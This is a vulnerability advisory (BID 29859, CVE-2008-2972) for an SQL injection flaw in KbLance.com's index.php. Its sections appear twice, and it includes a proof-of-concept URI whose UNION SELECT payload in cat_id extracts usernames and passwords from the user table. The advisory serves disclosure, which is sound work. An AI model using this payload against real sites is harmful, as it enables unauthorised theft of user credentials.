KbLance.com 'index.php' SQL Injection Vulnerability
BID:29859
Info
KbLance.com 'index.php' SQL Injection Vulnerability
| Bugtraq ID: | 29859 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-2972 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 21 2008 12:00AM |
| Updated: | May 07 2015 05:28PM |
| Credit: | S.L TEAM |
| Vulnerable: |
KbLance.com KbLance.com 0 |
| Not Vulnerable: | |
Discussion
KbLance.com 'index.php' SQL Injection Vulnerability
KbLance.com is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
KbLance.com is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
KbLance.com 'index.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following proof-of-concept URI is available:
http://www.example.com/index.php?main=comment&sub=index&view=&qid=3&cat_id=-3+union+select+1,concat_ws(0x3a3a,uname,pwd),3,4,5,6,7,8,9,10+from+user/*
Attackers can use a browser to exploit this issue.
The following proof-of-concept URI is available:
http://www.example.com/index.php?main=comment&sub=index&view=&qid=3&cat_id=-3+union+select+1,concat_ws(0x3a3a,uname,pwd),3,4,5,6,7,8,9,10+from+user/*
Solution / Fix
KbLance.com 'index.php' SQL Injection Vulnerability
Solution:
The vendor has released a fix to address this issue. Contact the vendor for details on how to obtain and apply the appropriate updates.
Solution:
The vendor has released a fix to address this issue. Contact the vendor for details on how to obtain and apply the appropriate updates.